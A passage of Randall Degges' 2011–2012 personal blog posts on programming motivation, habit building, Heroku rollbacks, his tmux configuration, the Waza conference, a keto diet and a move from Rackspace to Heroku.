Having other insanely passionate and driven friends kept me motivated, and helped push me to be the best I could. We wrote articles for one another to share things we learned–we critiqued each other’s code. We talked about projects we were working on, and what the best way to implement them was.

Having a group of people with the same passion and drive as yourself cannot be understated.

Finding a group like this, on the other hand, is extremely difficult. I highly recommend using IRC (as a lot of bright people seem to use it), and gradually joining new channels and chatting with people who share similar interests. If, in the off chance you’re like me, and want to hang out in the same circle, you’re invited to check out #heapify.

Have Fun

Programming is fun. Programming is really, insanely fun. Just writing about it makes me feel happy inside. It’s hard to contain my excitement.

The most important part of learning to program is to always HAVE FUN! Regardless of whether you’re just getting into programming, or whether you’ve been a programmer for a long time: having fun is the most important thing you can do.

Let’s say you’re just starting to learn python (Dive Into Python is still one of the best python books ever written, by the way)–don’t start by writing some boring project. Write something new! Something that you will find useful. Have fun with it, and challenge yourself.

If your sole motivation for working on a project is to get it done, you’re cheating yourself. Part of being a good programmer is building stuff that YOU find cool. There is plenty of dreary software in the world, what the world needs is more AWESOME software. And the only way to make awesome software is to have fun building it!

I could literally go on ranting about how much fun programming is indefinitely. But instead, I want to challenge YOU (ya, you!). Think of something you’d really love to build: maybe it’s a file sharing site, maybe a video editor– whatever excites you and gives you that warm fuzzy feeling inside. Got it?

OK, now go build it!

Regardless of where you are in your programming career: always have fun, and keep pushing yourself!

My Ideal Life

r@rdegges.com (Randall Degges) — Wed, 18 Jan 2012 00:00:00 -0800

As a strong believer in personal development, I realize that I will never be perfect. Despite this, a big part of the fun in life is working towards making yourself a better person. If you don’t do that, what else is there?

In order to make yourself a better person, knowing which traits you’d like to eventually have is essential. Maybe you’re a smoker, but you’d like to eventually quit. Maybe you’re skinny, and want to add 10lbs of muscle to your frame. Regardless of your personal development strategy, knowing what to work towards is mandatory.

Over the past year, I’ve come to realize the importance of having positive habits, and how building a series of habits into your daily schedule is one of the best ways to make long term, sustainable change.

As my life goals are still undefined, my current focus is on building a repertoire of habits and skills so that over time, I’ll gradually become the person I’d like to be, with as little friction as possible.

For the past few days I’ve been trying to enumerate the skills I want to have, and the life I want to live. After a lot of thought and personal debate, I’ve narrowed my ideal life down to the following 24 hour snapshot. My thought is that if I’m able to spend each day doing the things below, I’ll be both happy and wildly productive throughout my life.

ALSO: I’m absolutely positive that I’m going to continuously change my mind about this over time. The points below represent my thinking at this current moment only. Future self, if you’re reading this: what are you up to? Have your goals changed? Your ideal life?

In a given 24 hour day, I’d like to spend:

10 hours sleeping. This includes buffer time, stuff like brushing teeth and sliding into bed. This way, I’ll get a minimum of 8 hours of sleep (with 2 hours of buffer in there, just incase).
1 hour writing. Writing is a tool I’m quickly becoming more and more fond of. Writing has helped me learn things in much greater depth, as well as improve my communication skills. I highly value communication skills, so this is high on my list of importance.
1 hour reading. I do a lot of reading, and I plan to continue this. Reading books, in particular, has taught me innumerable lessons, and the value I receive for my time investment is overwhelming.
1 hour exercising. Having a strong body is important–not only for longevity, but for mental health and mood. Hitting the gym everyday and lifting weights would be a great way to stay in top condition year round.
3 hours eating. This means uninterrupted meal and relaxation time either by myself, or with my family and friends. Rushing through meals is unsatisfying, and eating slow seems like a healthy, relaxing routine.
1 hour hacking on an open source project. This means writing code that goes straight back to the community. Not only do open source projects build programming skill, but they’re extremely fun, and provide a great way to meet other smart, talented people.
2 hours working. This would ideally be hacking on my own company in some form: giving direction, writing code, whatever. Just working on a meaningful project that provides real value in the world, and enough money so that I don’t have to worry about it.
5 hours doing anything else. This includes watching TV, hanging out with my wife, attending events, showering, volunteering, whatever.

Why so little work? Well, it’s my thought that by improving myself in all areas (including things that aren’t quantifiable–like focus, willpower, etc.), I’ll be able to accomplish a lot more by working both smarter, and with more focus.

Working smarter means only doing things that absolutely require my personal attention. By putting myself in a position where I can outsource all but the most essential functions to others, I’ll be able to drastically cut down my daily TODO list, leaving me with much less (but more important) work to be done.

By working with more focus, I mean that over time, I’d like to build up my focus to a point where I’m able to completely immerse myself in a task for hours on end, without breaking concentration. Having that sort of intense focusing power would allow me to accomplish a great amount of work in a very small amount of time.

I believe that if I’m eventually able to work both smarter and with more focus, than 2 hours should be more than enough time to make a difference at work.

For the extra 5 hours of random time each day, I’d like to use that to do meaningful things. Maybe work on other projects, volunteer my time for a worthy cause, etc. It would also be nice to have free time so that, even on bad days, I can just lay down for a large chunk of the day and not feel guilty. After all, this is supposed to be a sustainable schedule–something that I can live with over a long period of time, not just a short term thing. This could also be a great way to throw myself at whatever I’m feeling most passionate about that particular day. This would free me up to spend an extra few hours working if I’m really in the mood, or maybe an extra couple hours reading–who knows.

How I Program Stuff

r@rdegges.com (Randall Degges) — Mon, 16 Jan 2012 00:00:00 -0800

I love programming. I can truly say that of all the things I enjoy, I enjoy programming the most. There’s nothing quite like the feeling you get when you create something. Writing code is a lot like building your own little universe.

When you build stuff, you’re in complete control, and, no matter how hard you fight it, your code directly reflects yourself. If you write sloppy code, I can almost guarantee you’ll be a sloppy person. If you haphazardly throw code around with any care or passion, it’s likely you treat yourself the same way.

I tend to think of myself as a passionate programmer (subsequently, this is one of the best books I’ve ever read). When I’m building things, I do so with a lot of care. I like to:

Take my time, and not rush myself.
Maintain 100% strict style rules across the code base. I’m a style Nazi.
Ruthlessly refactor old or ugly code.
Put a lot of thought into the APIs available, and think of ways to minimize or get rid of them all together.
Keep a single, clear, and minimalistic purpose for the project.

I try to make every piece of code I touch a bit more like me (for better or worse). With the above in mind, here’s my method for programming stuff.

Step 1 - Isolate

I work best in complete isolation (excluding the companionship of my dog, Scribbles). I find that when I’m completely alone, with no distractions, I’m able to really get into the proper mood for building things.

Confidence.

Being alone gives me a lot of confidence. If you’re by yourself, you have absolutely nothing to lose working on that funky feature branch that will probably never work out, or attempting to refactor an enormous method that you later realize was written that way for a very important reason. When you’re by yourself, there is nothing to be embarrassed about. You have complete creative freedom to try new things without consequence.

Energy.

Maybe it’s because I’m deeply anti-social at my core, but for some reason, I’m just not myself around other people. As (odd?) as that may be, being around other people seems to really drain my energy and sap my creativeness. Despite my best efforts, I just don’t have the same energy around other people as I do by myself. When I’m isolated, I have an enormous amount of mental energy that I just can’t help but use in creative endeavors.

Information.

I find that while alone, I’m able to make better use of available information. For instance, when I’m working with other people (physically), I tend not to use information resources as much. I won’t google things, or read articles about the topics I’m working on. When alone, I tend to spend much more time researching relevant information, best practices, and learning skills that can help me do what needs to be done.

Step 2 - Eliminate

When it’s time to really build things, the second thing I do is eliminate all unnecessary information. This includes:

Closing all browser tabs and starting fresh.
Closing all terminal sessions.
Closing all IM conversations.
Moving everything off my desk.

With everything out of the way, I’m able to easily focus on programming things. The code almost flows out naturally when nothing else is in the way, stopping it.

THOUGHT: Maybe we’re all meant to be programmers, and our environment is simply stopping us from coding. In this case, it is our duty to eliminate all distractions and return to our natural state!

Step 3 - Code Ruthlessly

Coding ruthlessly is something I strongly believe in. I think that of all the things I’ve learned over the years, this has been the most important.

There is no room in this world for fear while programming. As a programmer, you have to be courageous, bold, fearless, and ruthless. If you can’t bring yourself to remove legacy code because you may need it later, you’ve failed. Whenever I feel hesitation while programming, I make a mental note to seriously reconsider what I’m doing. If it makes me feel uncomfortable, there’s a good chance I need to do that shit right away.

Being ruthless with your code means you make commits that fix whitespace, fix indentation, remove entire source files, deprecate API calls, and drastically change functionality–whatever needs to be done, you do it without a bit of regret.

There have been countless times that I’ve worked on code for a week or two, just to realize I went off on a tangent and completely strayed from the main objective. In times like this, the only thing to do is remove everything and move on. There is no room for ego in success.

Be ruthless.

Reflections on Heroku's Waza Event

r@rdegges.com (Randall Degges) — Sun, 15 Jan 2012 00:00:00 -0800

Several days ago I was lucky enough to attend Heroku’s first conference, Waza. Waza is the Japanese word for art and technique, which, in retrospect, was nothing short of the perfect name for the event. In my life, I’ve never attended such an artistic, well planned, and stylish event.

Surprise!

If this isn’t the first time you’ve visited my site, you probably know I primarily write about technical stuff. Over the past few months I’ve been writing a lot about Heroku, which is, in my opinion, the best Django hosting platform available.

A few weeks back I got an email inviting me to Heroku’s first conference, Waza, which was going to be held on January 11th in San Francisco.

Woa.

I immediately accepted the invitation. It’s not every day you get to meet with a group of the best programmers in the industry. The guys who work at Heroku are all top notch developers, and people. If programming was illegal street fighting, and I had to pick a partner to help me escape a no-rules-street-fight, I would pick anyone from the Heroku team in a heartbeat. :)

Anyhow, despite the fact that I can’t imagine why anyone from Heroku would invite me to their conference, I got in!

Waza

Without a doubt, Waza was by far the nicest conference I’ve ever been to. It was nothing like a traditional tech conference.

The venue was particularly stunning. The event was held at Yoshi’s, a jazz club in San Francisco. Heroku essentially turned the entire inside of the place into a Japanese village. There were zen gardens, Japanese style eating mats, amazing tea, and beautiful lighting throughout. Entering the venue was a lot like walking into a dream. The entire place was beautiful, elegant, and relaxing.

NOTE: I didn’t get any pictures of the event, but Kenneth Reitz got a ton that totally kick ass. I highly recommend checking out his Flickr album. If you look close, you’ll find me :)

The event started at 11am with an excellent opening talk by Adam Wiggins, CTO and co-founder of Heroku. His talk was all about building excellent applications: why elegance is important, what trends software development got over the past decade, and what trends will become influential this decade. His talk primarily focused on application elegance, which I thought was a great intro for the Waza conference, which focused on software development technique and art more than anything else.

The talks were all amazing. All were focused around building elegant applications. As a developer, I truly enjoyed the talks I got to attend. They were all inspiring, well executed, and filled with lots of useful information.

People

By far the best part of the event was the people. In particular, I got to meet: Craig Kerstiens, Kenneth Reitz, Curt Micol, and Issac Kelly. Those guys are all programming superheroes.

I’ve known Craig, Kenneth and Issac online for a while, but meeting them in person was really great. If you guys are reading this: we should meet up again soon!

As a complete surprise to me, I learned after arriving at Waza that Rob Pike was going to be giving the closing talk. If you don’t know Rob Pike: he’s one of the most influential programmers of all time. He co-created UTF-8 (unicode), created the Go programming language, and made countless contributions to UNIX. He also wrote two excellent books that contributed wildly to the programming profession: The Practice of Programming, and The UNIX Programming Environment. Without Rob Pike, the world would truly be a different place.

Seeing Rob in person was fucking awesome. His talk was great, and it was incredibly inspiring to even be in the same room as such an amazing guy. As my wife can attest, one of my lifelong dreams has been to meet Brian Kernighan, Dennis Ritchie, and Rob Pike. While I’ll never be able to meet Dennis (he passed away last year), I’m extremely happy to have had the opportunity to meet Rob.

Tea

Oddly enough, other than an excellent group of techies–Waza had some amazing vendors come to cater the event, one of which was teance, a Berkely tea shop. They were serving several types of fresh tea, all of which were fabulous.

I’ve never been into tea much, but after a cup of teance’s green tea, I was a convert. Best tea I’ve ever had in my life, hands down.

What made it even better was that the owner of the shop happened to be at the event serving tea, and answered all sorts of crazy questions I had about the tea.

After the event, my wife and I drove to the teance shop in Berkeley, and had tea at their bar. We tried several types of tea, and left with a couple hundred dollars worth of the stuff. Money well spent.

If you’re into tea at all, you should definitely check out the teance site and order some. I guarantee you won’t be disappointed.

Overall

Waza was a great event. The venue was great, the whole thing was comfortable and relaxing, and there were tons of smart and interesting people all over the place. It was a great experience, and I had a ton of fun.

I hope the Heroku guys throw another one sometime soon.

Dogs Are Great Programming Companions

r@rdegges.com (Randall Degges) — Mon, 09 Jan 2012 00:00:00 -0800

I love dogs. Really. They’re the best beasts on the planet.

For those of you who don’t know: I work at home with my chihuahua, Scribbles. She’s an awesome programming companion. As I work she lays in her dog bed next to my desk, and naps while I code. When I stand up and move around, she chases me around the house, and gets me to take her outside for a walk.

Since I started working at home two years ago, I’ve realized how great a dog can really be while you work. For me, Scribbles keeps me balanced. When I’m feeling stressed, I can lean down and scratch her head. If I’ve been sitting too long, Scribbles will get my attention and demand a walk. She always knows exactly what to do to keep me sane, day after day.

When I’m working on particularly complex software problems, I’ll often talk out loud to her, explaining my thinking and proposed solution. Half the time, just the act of forcing myself to talk to her, explaining myself, helps me realize problems in my thinking.

In addition to the benefits of having a funny looking animal around at all times: knowing you’ve got some unconditional love no more than 2 feet away is a nice reminder life is good. Even when I’m working really hard to fix critical problems, or in the zone coding away, having a dog nearby makes me feel comfortable and happy.

Here are some pictures of Scribbles (the destroyer of worlds), in all her glory:

NOTE: In case you’re wondering–she’s named Scribbles because she has scribbled markings all over her fur.

How to Instantly Fix Problematic Deployments on Heroku

r@rdegges.com (Randall Degges) — Sun, 08 Jan 2012 00:00:00 -0800

NOTE: Have no idea what Heroku is? I feel sorry for you. You should create an account with them immediately, then come back and read this post!

Today I was working with my new co-worker on one of our company’s Django projects, and after deploying some code, noticed that our New Relic panel was spitting out loads of DatabaseErrors.

Oh shit!

In situations like this, Heroku’s fabulous releases add-on can really save the day. While the releases add-on is still in beta, it is indispensable to any serious project. Using the releases add-on, I simply ran the command: heroku rollback in the terminal, and everything was fine. How awesome is that?

The releases add-on gives you an extremely useful rollback command to use, that instantly swaps your deployed Heroku code with the most recent deployed copy. This is a lifesaver. Without the releases application, you have only a few choices available to you should a disaster occur:

Revert all of your previous commits in your local Git repository, then push your changes to Heroku. This works–but takes a while to do, and can be error prone (do you know what the most recent deployed Git commit was on Heroku vs. your local repo?).
Slowly go through your most recent commits, looking to find the problem area. Once you’ve found the problematic code–update it, then re-push to Heroku. Again, this is time consuming and error prone.
Freak out, and run away.

All three of those options suck. The releases add-on is a developer safety net, and a good one. Instead of wasting time worrying about stuff, just rollback your Heroku application, and casually debug your application looking for the problems.

In addition to the awesomeness of the simple rollback command, the advanced releases add-on (heroku addons:add releases:advanced gives you even more power: the ability to instantly deploy any revision of code previously deployed to Heroku.

Let’s say you deploy several times before realizing your application is broken, and there is already an army of angry users with pitchforks heading to your Cheeto covered dungeon.

The last thing you want to do is throw on your chain mail, grab your longsword, and fight them off. Let’s face reality here: you’d much rather be watching The IT Crowd and guzzling mountain dew. So instead of going to war, you decide to simply roll back to the last working release.

But wait! Your rollback command isn’t working! You forgot that the last working release was several deployments ago. Damn.

Luckily, you remember that since you’re using the releases add-on, you can simply run heroku releases and view a list of all your previous releases:

Oh yes, you think. Release v304 was the last working release. Just to confirm, you then run the heroku releases:info v304 command, and after taking a look to make sure, you decide that you’ve found the correct release to rollback to.

To finish your rollback, you simply run heroku rollback v304 and bam, everything is working again. Now you can spend the rest of the afternoon writing a Twilio script that sends text messages to each of your users en-route to your Cheeto dungeon to destroy you, informing them that the problem has been solved, and asking them to return to their lairs.

Whenever you’re working on production projects, problems will arise. Being a developer is no easy task! Luckily for us, Heroku is on our side.

If you’re interested in using the Heroku releases add-on, you should read through the official documentation, it’s really great.

UPDATE: So, I actually wrote a book on Heroku! If you liked this post, you should check it out: http://www.theherokuhackersguide.com/

Going to War

r@rdegges.com (Randall Degges) — Sat, 07 Jan 2012 00:00:00 -0800

Sometimes personal development can be hard, really hard. I find that I go through periods where I just feel exhausted of continuously trying to make myself a better person.

Unfortunately, I don’t really see this discussed much online. I think people who write online tend to do so when they’re feeling good, thereby eliminating a big amount of the negative personal development articles that would exist otherwise. Since I’m in a neutral mood right now, I figured I’d throw my opinions up here to contribute to the discussion.

Exhaustion

When I’m exhausted with personal development, I tend to not do much to fix it. Instead of consciously seeking out ways to get out of my slump, I’ll usually just sit around thinking about things myself. When I get into this mood, I feel completely exhausted.

I think that becoming tired of dealing with personal development in a normal thing. When you spend a large amount of your time and energy trying to better yourself (eat better, work better, play better), it is only natural that your body and mind will need some time to rest.

The real problem arises when after you’ve sufficiently recovered, you still can’t get yourself back into the development phase again.

The War Motive

To me, nothing is more motivating than a big life or death challenge. We’ve all seen this in movies, and read about it in books.

The hero is hopelessly outnumbered, surrounded by bad guys. He’s weak, frightened, and near death. He realizes that he’s about to die, and then, his life flashes before his eyes. He immediately realizes why he’s fighting in the first place, and decides to commit to winning with his life. A moment later he explodes in fury, wiping out his enemies, and emerging victorious.

The reason the hero won is because he went to war. He knew that he was in a dire situation, and he decided to do whatever it would take to win.

War can be a powerful motive, not only for heroes in movies, but for you. If you find yourself stuck at a point where you can no longer progress, and find yourself battling off the forces that be but not winning–maybe you should consider starting a war.

Doing so is fairly easy: you commit to winning with your life. You make a pact with yourself to fight this thing with every last ounce of energy left in your body and mind, or you die trying.

This sort of motivation is drastic, probably not recommended by psychiatrists, but effective.

I’ve found that the war motive works really well for me. I’ve used it frequently over the past few years to kick myself out of poor situations and progress regardless of whatever issues I was facing at the time.

What techniques do you use to motivate yourself, and push yourself beyond your limits?

Tools I Use - tmux

r@rdegges.com (Randall Degges) — Fri, 06 Jan 2012 00:00:00 -0800

I love reading about tools other programmers use in their day-to-day existence. There are so many great pieces of software out there that it’s impossible to hear about them all. Whenever I read articles (or watch screencasts) that other developers make, I tend to learn a lot.

So, I decided to start my own series here on my site, dedicated to talking about the tools I use, and how I use them. Unfortunately, I probably don’t have much useful information to give in this area–but I figure that if I start writing about it, I’m bound to learn more about the tools I use along the way. So this is a win-win for me.

As this is the first article in the series, I figured what better time to discuss tmux, my favorite terminal multiplexer!

Terminal Multiplexers

If you’ve ever had the need to run multiple terminal windows inside an existing terminal window, you’ve probably heard of GNU screen.

GNU screen is one of the most popular terminal multiplexers of all time. What it allows you to do is have a large amount of virtual terminals that you can create, move around, and use at will. What’s great about tools like GNU screen is that they allow you to quickly move between your terminal windows using keyboard shortcuts, which can often times be a lot quicker than alt+tab’ing to a new terminal window on your OS.

The other great thing about terminal multiplexers like GNU screen and tmux is that they give you the power to tile your windows as you please. For instance, you can run two terminals side by side, one window with code, and another with a shell for testing your code on the command line. This can be a great help in many situations.

When I first made the jump from using my OS terminal program to using GNU screen a few years ago, my productivity shot up enormously, as I was able to quickly move around through terminals like I never could before. I instantly started writing code faster, finding problems quicker, and spending much less time creating and moving terminal windows around on my desktop.

tmux - A Cool Terminal Multiplexer

While I was using GNU screen for a few years, I always had some issues with it that didn’t sit well with me. For one, while I had my GNU screen software highly configured, I was still unable to perform some seemingly basic tasks like create horizontally split windows. This meant that I could only open columns of terminals, restricting the usefulness of my terminal.

Furthermore, GNU screen had a lot of complex key bindings that tended to make it difficult for me to get used to. I remember spending quite a bit of time when first learning GNU screen just memorizing the basics.

One frustrating day while I was struggling to adjust some screen key bindings, I decided to look for alternatives. After a bit of research I stumbled upon tmux. What a great day that was.

tmux, just like screen, is a terminal multiplexer. What’s great about tmux is:

It’s a lot simpler than GNU screen. It has sane defaults configured, and requires much less configuration to be useful.
It supports both vertical AND horizontally split windows.
It has a really awesome key binding that allows you to magically rearrange your terminal windows in a variety of patterns. This is extremely useful for situations where you open multiple windows, and then want them to be moved to a decent looking pattern, but don’t want to configure each window manually.
It has great documentation.

tmux in Action

A picture is worth a thousand words. I won’t bore you any further, here are some screenies of tmux in action.

This first picture is just a simple display of tmux with multiple windows open (note the window names at the bottom):

Next, we have a single tmux window open, broken into three panes: one is vertically split, while the other is horizontally split. As you can see, this makes coding quite convenient since I can code, look at tests, and browse documentation all in the same window:

Here I just hit a single key, and had tmux automatically re-arrange my panes a few times in a row. Nice, huh?

tmux - Configuration

One of the great things about tmux is that it requires almost no configuration to be useful. Unlike GNU screen which requires quite a bit of tweaking (in my opinion) to be useful, tmux has sane defaults out of the box.

Below is my ~/.tmux.conf file. As you can see, it’s very simple:

set -g prefix C-a
unbind %
bind \ split-window -h
bind - split-window -v
bind-key k select-pane -U
bind-key j select-pane -D
bind-key h select-pane -L
bind-key l select-pane -R

The changes I made are simply to remap keys for my own preferences. Here’s what my changes do:

Set the tmux command key to CTRL+a (just like GNU screen). That means all tmux commands are prefixed with C-a.
To create vertical split windows, I setup key mappings for C-a |. To me, since the pipe key (|) looks like a vertical split, it makes sense to have that key open a new split window.
Likewise, I also bound the horizontal split key to C-a - (the dash key), since the dash key looks like a horizontal split.
The last few changes make moving between split windows easy. To navigate through windows, I assigned vim-like keybindings. e.g.
- C-a h will move you one window to the left.
- C-a j will move you one window down.
- C-a k will move you one window up.
- C-a l will move you one window right.

As you can see, I had to make very few changes to tmux in order for it to be useful to me.

tmux - Resources

If you’d like to give tmux a try, here are some resources to get you going. tmux has become one of my favorite and most used tools since I started using it earlier last year. I’d highly recommend it to anyone who does a lot of terminal work.

The main tmux website.
man tmux has great information and is highly readable.
tmux crash course, a really great introduction to using tmux.
tmux series, a series of blog posts explaining tmux in depth. A great read.

New Habit - 100 Carbs

r@rdegges.com (Randall Degges) — Tue, 03 Jan 2012 00:00:00 -0800

Since finishing my writing habit, I decided to kick off the new year with a health related habit.

Over the past year or so, I’ve been making gradual changes to my diet and exercise regimen, with the intention of losing weight, getting healthier, and getting smarter. There’s a lot of evidence that suggests having a fit body also leads to having a fit mind, and that is what originally enticed me to give the whole fitness thing a shot.

When I first started dieting / exercising, I had no clue what I was doing. No clue whatsoever. I thought eating meat was bad for you and fat content in food was directly correlated to waist size. How wrong I was!

After several months of eating nothing but vegetables and breads, running till I couldn’t breathe, and struggling for every pound of weight lost, I began to actually research the whole process. I started reading numerous books on health, which foods are good for you, which foods are bad for you, etc.– eventually discovering the ketogenic diet.

A keto diet is essentially a high protein, high fat, and low carb diet. Without going into all the details, a keto diet restricts carb intake because consuming carbs increases the amount of insulin in your bloodstream. When your insulin level is high, your body stores fat. When your insulin level is low, you body doesn’t.

During the three months that I maintained a strict keto diet, I lost nearly 40 lbs, and reached my lowest weight since the start of university in 2006. It felt great.

Then I started getting busy. I gained some of the weight back, and gradually let my exercise regimen slip out of control.

So starting today, I’m working my way back to where I was, to finish this thing the way I started–a success. The new habit I’m attempting to build is simple: eat less than 100 carbs per day.

I’d eventually like to cut my daily carb intake down to around 30 carbs and completely eliminate all sugar intake (sugar is bad for you), but I figure that to start, 100 carbs should be fine. Since I haven’t been in hard-core dieting mode a for a while, 100 carbs is enough to make it not so difficult, while still being a challenge.

These habits are meant to last forever, after all, so I’m in no rush. I’ll start with 100 carbs now, and then possibly jump down to 75, 50, and eventually 30, depending on how successful I am along the way.

Reflecting back on why I think I failed to maintain my diet / exercise regiment earlier last year–I think the primary reason was that I jumped into things too headstrong. I have always been a perfectionist by nature, and when I decide to do things, I typically dive in all the way. While this mentality has served me well in numerous circumstances, it has also backfired more times than I care to mention here.

When I eventually started to slip off my diet months ago, instead of simply getting back into the groove after a cheat day, and treating my diet as a habit (and thus, a lifestyle change), I instead ended up feeling angry with myself for messing up, and gradually drawing out the problem instead of fixing it.

Since I dove into it so headstrong before, when I did mess up, I was extremely upset with myself, and had a really hard time continuing. This time, to remedy that possibility, I’m going to be taking things a bit slower, and building sustainable changes that will (with discipline) last a lifetime.

If you’d like to learn more about ketogenic diets, here are some good resources:

The keto subreddit.
A doctor’s guide to ketosis.
The Something Awful Keto Guide.
The bodybuilding.com guide to ketosis.
My personal favorite, A Guide to Ketosis.

Writing Habit -- Complete

r@rdegges.com (Randall Degges) — Mon, 02 Jan 2012 00:00:00 -0800

Two days ago I successfully completed establishing my writing habit. It took me exactly 21 days to build (I didn’t mess up at all)! My habit was to write for at least 30 minutes per day.

When I wrote about what I’d learned at the half-way point, nearly two weeks ago–I think I was on the right track. The largest impact my daily writing habit has had on me has been mental. Instead of viewing writing as something challenging, it has become something enjoyable and relaxing for me. Over the past few weeks I’ve drastically changed the way I feel about writing.

It feels good.

Will I continue to maintain this habit in the long term? Yes. So far I’ve written 7 blog articles, and a number of private journal entries that I’ve been quite proud of. Whenever I write, I tend to learn a lot of new things about whatever subject I’m writing about. Furthermore, and quite possibly most important, writing helps me clarify my thoughts in ways that talking and reading cannot.

There’s something special about writing words, stringing them into sentences, and then shifting those sentences around to construct arguments and ideas that is completely magical. Like I explained in a previous post about writing–it makes me feel like an inventor. While writing I feel like I’m Leonardo DaVinci, obsessively writing away by candlelight in a workshop long after everyone else is asleep. Only writing gives me that magical feeling.

Since I’ve recently finished building the habit, below are some tips you may (or may not) find useful if you too are considering developing a writing habit.

First of all–try to find (early on) a good time for writing in your day. My days are typically chaotic, as my wife’s work schedule changes from day-to-day, and depending on the situation at my work I may be busy in either morning, noon, or night. I found that for me, I tend to be in the writing mood most at night time, when things are quiet and I know that I’m no longer needed for any other activities by friends, family, or work. Having a good time each day you can set aside to write may mean the difference between successfully building your writing habit, or failing.

Take caffeine before writing. Seriously. I’ve mentioned before that I’m a caffeine junkie. While I’m not particularly proud of my addiction, I’ve found that caffeine makes a world of difference in my writing. It helps me focus, and more importantly, makes me a lot more creative. Several times over the past few weeks I wrote in an un-caffeinated state, and during those times I seemed to mope along at best, accomplishing very little. I’ve found that while under the influence of caffeine I’m a lot more thoughtful, creative, and successful with my writing.

Don’t restrict yourself to a single topic or genre. Before I started working on building this writing habit, I briefly considered wording it in a way that would restrict me to a particular type of writing (e.g. writing a journal for 30 minutes each day, or something to that effect). I’m glad I didn’t. What I realized is that some days I’m in the mood to write a private journal, while some days I’d much rather be working on a technical post, or even ranting about random things. I think that giving yourself the freedom to write whatever you want, so long as you write something, can be a great motivator and really help push you through the days where you just don’t think you can do it.

Hopefully my experiences have been useful and/or entertaining to you. If there’s anything you’d like to know, or if you have any questions–feel free to send me an email.

What I'm Doing in 2012

r@rdegges.com (Randall Degges) — Sun, 01 Jan 2012 00:00:00 -0800

I’m really glad the new year is here. For the longest time I thought new year’s resolutions were a bit silly, and I never participated in them. The past few years, however, I’ve completely changed my opinion. Maybe I’m getting older, but the thought of starting a new year makes me feel happy and optimistic about things to come. A clean slate! Let’s do this!

Last year I focused on accomplishing goals. I wanted to visit San Francisco, Santa Barbara, and a slew of other things. Some of my goals were specific enough that I accomplished them, while some were way too vague and didn’t materialize.

This year is going to be all about habits for me. Instead of focusing on doing specific things, I’m going to be focusing on building habits into my daily routine. Over the past year I’ve come to really appreciate habit building. Instead of focusing on the outcome (e.g. your goals), you focus on the process.

I’ve found that building habits is my personal niche. It makes me feel productive, while keeping me relaxed. When I’m working on building habits I’m not constantly stressed about results, or burdened with the possibility of failure–instead, I just feel relaxed, confident, and happy. What makes this work for me is that while building habits I simply tell myself “Randall, just write for 30 minutes a day. If you can do that everyday, you’ll become a better writer in no time. Don’t worry about writing X amount of blog posts per week, or exercising X amount of minutes each day–just have fun with it, and make the most of each day.”

Currently I’m using HabitForge to track my habits. I’ve been using them for just about a year now, with great success. The way HabitForge works is you tell them what habit you want to build, and each day they email you (for 21 days in a row), asking if you did your habit (yes or no). Once you complete your habit 21 days in a row, HabitForge considers your habit “done”, by which time you should be so used to performing your habit day after day, that it is second nature. If you fail to complete your habit any day during the 21 day entry period, your cycle resets to day 1, and you have to complete another 21 days of your habit in a row.

What I like about the HabitForge system is that it works for me. It works really well. I find that once I start working on developing a habit, I don’t want that 21-day counter to reset, so I try really hard to make sure I do my habit each day. After trying really hard for 15 days or so, it becomes much easier to do. For me, I just sort of do them on autopilot after that point.

Just yesterday I finished establishing my writing habit. It was a great success. Since I started, I’ve written for at least 30 minutes every day. This has made a big impact on me already. I feel much more confident in my writing, and I’m enjoying the process of writing much more than before. If I continue on this path, by January 1st, 2013 I’ll have written for at least 182.5 hours. That’s a lot!

Another thing I’ve come to thoroughly enjoy about building habits is that they don’t let you fool yourself into achieving false goals. For instance, if I say I want to lose 30lbs–I could easily lose 30lbs by running everyday, eating a very low amount of calories, and generally pushing myself to lose the weight quickly; all for the sake of reaching my goal.

What if, instead of saying “I want to lose X lbs”, I say “I want to eat only animal meats and vegetables”? If that were the case, I’d be building a healthy habit while losing weight as a side-effect; focusing more on the lifestyle change than the outcome.

With all that said, here are a few of the habits I’ve got in mind for this year. These are subject to change, but I plan on writing posts here on my blog detailing each habit I build through the year.

Spend at least 30 minutes per day working on open source code.
Spend at least one hour per day reading.
Exercise for 30 minutes per day (take a walk, do CrossFit, ride a bike–something).
Eat less than 30 carbs per day. This is a tricky one to maintain long term, but I’ve read quite a lot about it the past year (and done it for 3 months in a row), to great success.
Work on a business project of my own for at least 30 minutes per day.
Tidy up my apartment for 15 minutes per day.

There are also other habits I’d like to build for the long term. Stuff like going on dates with my wife a certain amount of times per month, reviewing my personal and professional progress every month, etc. Certain things like that are easily overlooked as time passes, but are things that I’d like to ensure I do so that I can make necessary adjustments to myself when necessary.

Other than the above, in more general terms, there are a lot of other things I’d like to do this year.

Over the past year I got a lot better at programming Python and Django, and this year I intend to break out of the intermediate level and enter the expert level. It’s very hard for me to gauge my progress in this area as it is entirely subjective, and the field of programming itself contains limitless information that is impossible for any one person to learn. To combat this, I plan to continue building software using these technologies, learning new techniques, and tools as I go.

Another thing I’d like to do this year is slowly improve my text editing skills with Vim. While I’ve been using Vim for a long time, I still consider myself a beginner. After watching people like Gary Bernhardt use Vim, not only do I feel like a complete n00b, but I’m also intensely driven to become better. My initial plan for tackling my Vim demons is to watch through every single episode of vimcasts. Since it’s hard to remember the Vim shortcuts right away, I’d like to watch an episode once a week, and specifically practice the video topic that week to commit the topic to memory.

I’d also like to write a book this year. I started working on a book, Learn Asterisk the Fun Way, earlier last year–but haven’t made nearly as much progress as I would have liked. This year I’d like to really commit to the project, and see it through to completion. Publishing a book has always been a dream of mine, and something that would make me really proud of myself.

Here’s to a having a great, happy, relaxed, and interesting 2012.

DevOps Django - Part 4 - Choosing Heroku

r@rdegges.com (Randall Degges) — Fri, 30 Dec 2011 00:00:00 -0800

This is the fourth article in a series I’m writing titled DevOps Django. If you’re new, you may want to read the first part of the series before this one. In this article I’ll be continuing where I left off in the previous article: explaining why I chose to move my company’s teleconferencing service from Rackspace to Heroku.

Making the decision to move my company’s infrastructure from Rackspace to Heroku was no easy task. As I’m sure you all know–moving infrastructure components is an enormous risk, even in the best of circumstances. However, despite the immense risk involved, a change was needed.

Time

As I mentioned earlier in this series, I work for a tech startup. With a small team of people, you don’t have much time to mess around. Our greatest expense as a company is engineering time. Our company’s revenue is directly correlated to our productivity. The more bugs we fix, features we deliver, and users we make happy–the more money we make.

Even though we were using the best devops tools available (puppet, nagios, etc.), we were spending almost all of our engineering time building and maintaining our infrastructure. For me, this meant a typical day ended up looking something like the following:

85% of my time spent writing or updating puppet modules to fix (or add) required functionality to our infrastructure.
10% of my time spent planning tasks, adding bugs to the tracker, updating the TODO list.
5% of my time doing actual development.

